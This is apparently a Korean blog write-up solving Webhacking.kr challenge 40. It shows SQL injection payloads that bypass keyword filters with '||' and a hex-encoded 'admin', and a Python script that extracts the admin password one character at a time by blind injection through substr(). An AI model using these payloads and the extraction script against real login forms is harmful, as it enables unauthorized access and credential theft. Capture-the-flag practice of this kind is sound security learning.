화면이 no,id,pw로 구성되어 있다.
그냥 login을 눌렀더니 guest로 로그인이 되었다.
no를 2로 바꾸어 보니
로그인이 실패했다.
소스를 보니 처음에 적혀있던 pw는 guest였고
no,id,pw로 get방식으로 전송된다는 것을 알았다.
그래서 no=1&id=guest&pw=guest-- 을 넣었더니
뒤에 id와 pw가 달린다.
이렇게 넣어서 성공이 되는 것을 보니 쿼리문 순서가 id,pw,no인 것 같다. 그래서 no에 id를 넣어봤자 소용이 없었다.
그리고 access denied이 된다.
그리고 no=0을 넣으면 반응이 없다..
그리고 or는 안먹히는 것으로 봐서 or , and는 안먹히고 기호 &,|만 먹히는 것 같다.
요런 식으로
no=1=1또한 그냥 성공
id=guest=guest를 써서 여집합을 만들어 보려했으나 실패
substr을 써보니 이건 필터링이 안된다.
그래서 no=2||id=0x61646D696E를 넣어주면
새로운 화면이 나온다.
여기서 0x61646D696E는 admin을 hex한 것인데
admin은 안되어 넣어보았다.
그래서 length(pw)로 pw의 길이를 알아내고 난 후
import urllib.request
import re
if __name__ == "__main__":
code = [num for num in range(33,65)]+[num for num in range(97,127)]+[num for num in range(91,97)]
head = {'Cookie':'PHPSESSID=fd06535e7ec7b5532faa2a20b8444d6f'}
for i in range(1,11):
for j in code:
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-29/index.php?no=2||substr(pw,"+str(i)+",1)="+str(hex(j))+"&id=guest&pw=guest",headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("admin",data)
if find:
print(i,chr(j))
파이썬으로 돌려주면
이렇게 답이 나온다.
이때 2번째는 guest의 u와 같아서 안나온다.
40번 클리어!
'WebHacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 56번 (0) | 2018.01.17 |
---|---|
Webhacking.kr 60번 (0) | 2018.01.16 |
Webhacking.kr 41번 (0) | 2018.01.15 |
Webhacking.kr 51번 (0) | 2018.01.15 |
Webhacking.kr 61번 (0) | 2018.01.12 |